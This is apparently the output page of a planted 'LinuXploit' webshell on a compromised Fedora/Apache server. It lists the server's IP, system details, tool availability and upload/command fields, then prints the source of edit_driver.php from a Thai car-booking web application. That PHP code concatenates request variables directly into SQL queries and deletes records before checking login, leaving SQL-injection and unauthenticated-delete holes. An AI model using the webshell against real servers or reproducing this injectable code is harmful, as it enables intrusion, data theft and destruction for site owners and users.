403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR - Copy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR - Copy/edit_driver.php
<?php
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
?>

<?php
include("dbconfig.php");

///////// del 
if (!empty($del)) 
{


mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
		$dquery="delete from tran where no = '$del' ";
		$dresult=mysql_query($dquery) or die(mysql_error());
		if($dresult)
		{
		echo "<center><font size='3' face='Microsoft Sans Serif, MS Sans Serif, sans-serif'>ź㺢ÍöàÅ¢·Õè $del àÃÕºÃéÍÂáÅéÇ</font><br><a href='index.php'>˹éÒáá</a></center>" ;
		}

exit ;
}
include( "function.php" );
if (!isset($_SESSION['auth'])  || ( strpos($_SESSION['right'],"c")  < 0   )) 	{
//////////////////end del
?>
<TABLE cellSpacing=0 cellPadding=0 width="50%" align=center border=0>
  <TBODY>
    <TR> 
      <TD align=left>&nbsp;</TD>
      <TD class=footer align=right>&nbsp;</TD>
    </TR>
    <TR> 
      <TD colSpan=2> <TABLE cellSpacing=0 cellPadding=0 width="100%">
          <TBODY>
            <TR> 
              <TD align=left><IMG 
            src="../subtabLoginOn.gif" width="53" height="20" 
border=0 align=absBottom id=img_Login></TD>
              <TD class=bodybold align=right>&nbsp;</TD>
            </TR>
            <TR> 
              <TD colSpan=2>  <FORM id="Form" name="Form"  action="login.php" method="post" >
                  <TABLE borderColor=#009966 cellSpacing=0 cellPadding=0 width="100%" 
            border=3>
                    <TBODY>
                      <TR> 
                        <TD> <TABLE id=tbGeneral 
                  style="WIDTH: 100%; BORDER-COLLAPSE: collapse" cellSpacing=0 
                  cellPadding=7 border=0>
                            <TBODY>
                              <TR> 
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; FONT-WEIGHT: bold; FONT-SIZE: 10pt; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid; FONT-FAMILY: Arial,Helvetica,sans-serif; BACKGROUND-COLOR: whitesmoke" 
                      colSpan=2><SPAN id=lblMsg></SPAN></TD>
                              </TR>
                              <TR> 
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; FONT-WEIGHT: bold; FONT-SIZE: 10pt; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid; FONT-FAMILY: Arial,Helvetica,sans-serif">User 
                                  Name </TD>
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid">
					  <select name=id id="select3">
                            <option value=""> àÅ×Í¡ª×èÍ- Ê¡ØÅ </option>
                            <? 
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
						$plquery="select  id,name from  user  where  auth like '%c%' ";
						$plresult=mysql_query($plquery);
				
						while ($plobject = mysql_fetch_object($plresult))
						{
							echo "<OPTION VALUE =".$plobject ->id.">" .$plobject ->name."</Option>" ;
						}

						?>
                          </select></TD>
                              </TR>
                              <TR> 
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; FONT-WEIGHT: bold; FONT-SIZE: 10pt; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid; FONT-FAMILY: Arial,Helvetica,sans-serif">Password</TD>
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid">
					 <input name="pwd" type="password" id="pws">
					 <input name="index" type="hidden" id="auth" value="edit_driver.php"></TD>
                              </TR>
                              <TR> 
                                <TD 
                      style="BORDER-RIGHT: #f5f5f5 1px solid; BORDER-TOP: #f5f5f5 1px solid; FONT-SIZE: 10pt; BORDER-LEFT: #f5f5f5 1px solid; BORDER-BOTTOM: #f5f5f5 1px solid; FONT-FAMILY: Arial,Helvetica,sans-serif; BACKGROUND-COLOR: whitesmoke" 
                      colSpan=2><INPUT id="Submit" type="submit "value="Login" name="Submit"></TD>
                              </TR>
                            </TBODY>
                          </TABLE></TD>
                      </TR>
                    </TBODY>
                  </TABLE>
<?
}
else {
?>
<?
if ( $cmdSubmit == "á¡é䢤¹¢ÑºËÃ×Íà»ÅÕè¹ö" )
{	
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");

$usql="update tran set  car_id = '$car_id',driver = '$driver' ,u2 = '$u2',u3 = '$u3',u4 = '$u4',u5='$u5'  where no ='$no' ";
$uresult = mysql_query($usql );
	

echo "<script language='JavaScript'>";
echo "alert('ºÑ¹·Ö¡àÃÕºÃéÍÂáÅéÇ');";
echo "location='index.php';";
echo "</script>";
}
?>
<html>
<head>
<title>à»ÅÕ蹤¹¢Ñº ËÃ×Íà»ÅÕè¹ ö¹µì</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="style.css" rel=stylesheet>
<STYLE type=text/css>
a:link{color:white;text-decoration:none;font-family:ms sans serif;}
a:visited{color:white;text-decoration:none;font-family:ms sans serif;}
a:hover{color:yellow;text-decoration:none;font-family:ms sans serif;}
td{font-size:10pt;font-family:ms sans serif;}

</STYLE>

<script language="JavaScript1.2">
<!--
/*
Auto Maximize Window Script- By Nick Lowe (nicklowe@ukonline.co.uk)
*/
top.window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layersdocument.getElementById) {
if (top.window.outerHeight<screen.availHeighttop.window.outerWidth<screen.availWidth){
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
}
}
//-->
</script>
</head>
<body>
<STYLE type=text/css>A.no_de:hover {
	TEXT-DECORATION: none
}
</STYLE>
<?php

mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
			$sql="select  *  from tran  where no = '$no' ";
			$result=mysql_query($sql);
					
			while ($object = mysql_fetch_object($result))
			  {
			  $user_id = $object ->user_id;
			  $target = $object ->target;
			  $person = $object ->person;				
			  $u1 = $object ->u1;
			  $u2 = $object ->u2;
			  $u3 = $object ->u3;
			  $u4 = $object ->u4;
			  $u5 = $object ->u5;
			  $reason = $object ->reason;
			  $date = $object ->date ;
			  $date1 = $object ->date1;
			  $time1 = $object ->time1;
    		  $date2 = $object ->date2 ;
			  $time2 = $object ->time2;
			   $approv = $object ->approv;
			   $car_id = $object ->car_id;
			   $driver = $object ->driver;
			   $boss = $object ->boss;
			     $time = $object ->time;
			  }			
			  ?>
<form name="form1" method="post" action="edit_driver.php">
  <TABLE cellSpacing=0 cellPadding=3 width="100%" align=center border=0>
    <TBODY>
      <TR> 
        <TD height="437" vAlign=top> 
          <TABLE width="100%" height="431" border=0 cellPadding=0 cellSpacing=0>
            <TBODY>
              <TR> 
                <TD width="100%" height="431" colSpan=2> 
                  <TABLE width="100%" border=0>
                    <TBODY>
                      <TR> 
                        <TD 
                      style="BACKGROUND-IMAGE: url(pointsmall.gif); BACKGROUND-REPEAT: repeat-x"></TD>
                      </TR>
                    </TBODY>
                  </TABLE>
                  <DIV class=thtahomasmall 
                  style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" 
                  align=right> </DIV>
                  <DIV id=news_newyear 
                  style="BORDER-RIGHT: #c7d2e7 1px solid; PADDING-RIGHT: 3px; BORDER-TOP: #c7d2e7 1px solid; PADDING-LEFT: 3px; MARGIN-BOTTOM: 3px; PADDING-BOTTOM: 3px; BORDER-LEFT: #c7d2e7 1px solid; PADDING-TOP: 3px; BORDER-BOTTOM: #c7d2e7 1px solid; BACKGROUND-COLOR: #f0f8ff"> 
                    <table width="95%" border="0" cellpadding="0" cellspacing="2">
                      <tr> 
                        <td width="12%" height="25">àÅ¢·Õè 
                          <input name="no" type="hidden" id="no" size="6" value="<? echo $no ;?>" readonly="yes"> 
                          <? echo $no ;?></td>
                        <td width="88%"> <div align="right"> Çѹ·Õè <? echo FormatDateshow($date)." àÇÅÒ : ".$time ; ?> 
                          </div></td>
                      </tr>
                      <tr> 
                        <td height="23" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ª×èͼÙé¢Í</strong></font> 
                          <input type="hidden" name="textfield"  value="<? echo $name ; ?>" readonly="yes" > 
                          <? echo $name ; ?><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">&nbsp; 
                          </font></td>
                      </tr>
                      <tr> 
                        <td height="20" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>¢Í͹حҵãªéö¹µì 
                          ( ä»·Õèä˹ )</strong></font> <input name="target" type="hidden" id="target" size="80" value="<? echo  $target ; ?>"  readonly="yes"> 
                          <? echo  $target ; ?></td>
                      </tr>
                      <tr> 
                        <td height="31" colspan="2"><strong><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">à¾×èÍ</font></strong> 
                          <input name="reason" type="hidden" id="code22" size="90" value="<? echo $reason ;?>" readonly="yes"> 
                          <? echo $reason ;?> <strong>ÁÕ¤¹¹Ñè§</strong> <input name="person" type="hidden" id="person" size="3" maxlength="3" value="<? echo $person ;?>"> 
                          <? echo $person ;?> <strong> ¤¹ </strong></td>
                      </tr>
                      <tr> 
                        <td height="31" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ã¹Çѹ·Õè</strong></font>Õè 
                          <input name="date1" type="hidden" id="date22" value="<? echo formatDateshow($date1) ; ?>" size="12" maxlength="12" readonly="yes"> 
                          <? echo formatDateshow($date1) ; ?> <strong>àÇÅÒ</strong> 
                          <input name="time1" type="hidden" id="time1" size="6" value="<? echo $time1 ;?>" readonly="yes"> 
                          <? echo $time1 ;?> <strong> ¶Ö§Çѹ·Õè</strong> <input name="date2" type="hidden" id="date32" value="<? echo formatDateshow($date2) ; ?>" size="12" maxlength="12"> 
                          <? echo formatDateshow($date2) ; ?> <strong> àÇÅÒ</strong> 
                          <input name="time2" type="hidden" id="time2" size="6" value="<? echo $time2 ;?>"> 
                          <? echo $time2 ;?></td>
                      </tr>
                      <tr> 
                        <td height="25" colspan="2"><div align="right">¼Ùé¢Í͹حҵ 
                            <input name="approv" type="hidden" id="approv" value="<? echo $approv ;?>" readonly="yes">
                            <? 
							if($approv=="0")
									 echo "  &nbsp; &nbsp;      ÂѧäÁè¼èÒ¹ËÑÇ˹éÒ";
							 		else
									echo $approv	 ;
							?>
                          </div></td>
                      </tr>
                      <tr> 
                        <td height="25" colspan="2"><div align="right"> 
                            <p>¼ÙéÁÕÍÓ¹Ò¨ÊÑè§ãªéö 
                              <input name="boss" type="hidden" id="boss" value="<? echo $boss ;?>" readonly="yes">
                              <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                              <? 
mysql_select_db($__wp__);
mysql_query(" SET NAMES 'tis620'; ");
					  $sqll="select  id,name  from user  where id = '$boss'";
					   $lresult=mysql_query($sqll);
					   while ($objectl = mysql_fetch_object($lresult))
			  			{
						 $eboss = $objectl->name;
						 }
				
			//			 mysql_close($db);
						  echo $eboss ;
						  ?>
                              </font> </p>
                          </div></td>
                      </tr>
                      <tr> 
                        <td height="20"><strong>ÃÒª×èͼÙé¹Ñè§</strong></td>
                        <td> 1. 
                          <input name="u1" type="hidden" id="u1"  value="<? echo $u1 ;?>" readonly="yes"> 
                          <? echo $u1 ;?> 2. 
                          <input name="u2" type="text" id="u2" value="<? echo $u2 ;?>">
                          3. 
                          <input name="u3" type="text" id="u3" value="<? echo $u3 ;?>" ></td>
                      </tr>
                      <tr> 
                        <td height="20">&nbsp;</td>
                        <td>4. 
                          <input name="u4" type="text" id="u42" value="<? echo $u4  ; ?>">
                          5. 
                          <input name="u5" type="text" id="u52" value="<? echo $u5  ; ?>"></td>
                      </tr>
                      <tr> 
                        <td height="22"><strong></strong></td>
                        <td><strong><font face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                          </font></strong></td>
                      </tr>
                      <tr> 
                        <td height="23">¾¹Ñ¡§Ò¹¢ÑºÃ¶</td>
                        <td> <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                          <? 
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
					  $sqll="select  id,name  from user  where id = '$driver'";
					   $lresult=mysql_query($sqll);
					   while ($objectl = mysql_fetch_object($lresult))
			  			{
						 $cname = $objectl->name;
						 }
				
			//			 mysql_close($db);
						
						  ?>
                          <select name=driver id="driver">
                            <option value="<? echo $driver ?>"><? echo $cname ;?> 
                            </option>
                            <?
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
						$plquery="select  id,name from  user  where  position = '¾¹Ñ¡§Ò¹¢ÑºÃ¶Â¹µì' and status = '1' ";
						$plresult=mysql_query($plquery);
				
						while ($plobject = mysql_fetch_object($plresult))
						{
							echo "<OPTION VALUE =".$plobject ->id.">" .$plobject ->name."</Option>" ;
						}
					
						?>
                          </select>
                          &nbsp; </font>·ÐàºÕ¹ö¹µì 
                          <select name="car_id" id="car_id">
                            <option value = "<? echo $car_id ;?>"> <? echo $car_id ;?> 
                            </option>
                            <?
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
						$cplquery="select  * from car  where status ='1' ";
						$cplresult=mysql_query($cplquery);

						while ($cplobject = mysql_fetch_object($cplresult))
						{
							echo "<OPTION VALUE =".$cplobject ->regist.">" .$cplobject ->regist."</Option>" ;
						}
					 ?>
                          </select></td>
                      </tr>
                      <tr> 
                        <td height="20">&nbsp;</td>
                        <td>&nbsp; </td>
                      </tr>
                      <tr> 
                        <td height="23">&nbsp;</td>
                        <td> <div align="right"> á¡éä¢ ¤¹¢Ñº ËÃ×Íö àÊÃç¨áÅéÇ¡´»ØèÁ¹Õé 
                            &gt;&gt; 
                            <input name="cmdSubmit" type="submit" id="cmdSubmit" value="á¡é䢤¹¢ÑºËÃ×Íà»ÅÕè¹ö">
                          </div></td>
                      </tr>
                      <tr>
                        <td height="23">&nbsp;</td>
                        <td>&nbsp;</td>
                      </tr>
                      <tr> 
                        <td height="23" bgcolor="#000000"> <div align="center"><? echo"<a href=\"javascript:;\" onClick=\"cf=confirm('¤Ø³¡ÓÅѧ¨Ðź㺢ÍöàÅ¢·Õè $no ?');if (cf)window.location='edit_driver.php?del=$no'; return false;\" style=\"font-size: 12px;\">ź㺹Õé</a>"; ?></div></td>
                        <td></td>
                      </tr>
                    </table>
                  </DIV></TD>
              </TR>
            </TBODY>
          </TABLE>
        </TD>
      </TR>
    </TBODY>
  </TABLE>
  </form>
</body>
</html>
<? 
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit